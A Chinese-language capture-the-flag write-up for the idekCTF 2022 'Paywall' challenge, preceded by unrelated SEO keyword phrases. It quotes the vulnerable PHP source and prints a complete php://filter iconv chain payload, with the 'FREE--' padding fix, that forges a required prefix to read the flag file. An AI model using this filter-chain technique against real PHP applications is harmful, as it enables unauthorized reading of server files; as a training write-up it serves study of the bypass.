文化类网站的前置审批,全球做网站的公司排名,温州哪里有做网站,网站建设中颜色的感染力[idekCTF 2022]Paywall 一、解题流程#xff08;一#xff09;、分析#xff08;二#xff09;、解题 二、思考总结 一、解题流程
#xff08;一#xff09;、分析
点击source可以看到源码#xff0c;其中关键部分#xff1a;if (isset($_GET[p])) {$article_content… [idekCTF 2022]Paywall 一、解题流程一、分析二、解题 二、思考总结 一、解题流程
一、分析
点击source可以看到源码其中关键部分if (isset($_GET[p])) {$article_content file_get_contents($_GET[p], 1);if (strpos($article_content, PREMIUM) 0) {die(Thank you for your interest in The idek Times, but this article is only for premium users!);}else if (strpos($article_content, FREE) 0) { //strpos查找目标字符串所在位置0就说明要在开头就出现echo article$article_content/article;die();}else {die(nothing here);}
} 1、file_get_contents会读取文件内容这道题目实际上要读的文件名是flag 2、利用p传参并且内容必须以FREE开头strpos函数作用是获取目标字符串位置如果FREE在开头则pos是0。 3、又因为要以FREE开头所以普通伪协议没法写比如php://filter/readconvert.base64-encode/resourceFREE/flag 为了将FREE隐藏于无形中还要让他生效我们应该采用filter_chain的方式去绕过
二、解题
打开php_filter_chain_generator.py 输入py php_filter_chain_generator.py --chain “FREE”php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resourcephp://temp这里需要注意我们得到的filter_chain其结尾是**/resourcephp://temp** 这意味着什么1、目前文件很可能因为伪协议变成流进行传输导致内容失效或无法输出 2、目标文件不是temp是flag我们将结尾改为**/resourceflag**以后再次传输虽然输出了内容但是乱码 这意味着什么且看filter_chain中采用的字符集编码包括了convert.iconv.UTF8.UTF7 1、FREE - base64编码 - RlJFRQ - UTF8.UTF7 - RlJFRQ 少了等号而编码的内容都是必须完整的一旦少了所有内容都会受影响导致乱码 2、FREE-- - base64编码 - RlJFRS0t - UTF8.UTF7 - RlJFRS0t 所以我们填充一点字符进去输入py php_filter_chain_generator.py --chain “FREE–” 将payload输入得到flagidek{REDACTED}
二、思考总结
这道题目加强了对filter_chain工具使用的熟练度加深了对于编码完整性的理解以及哪种场景该用filter_chain去完成。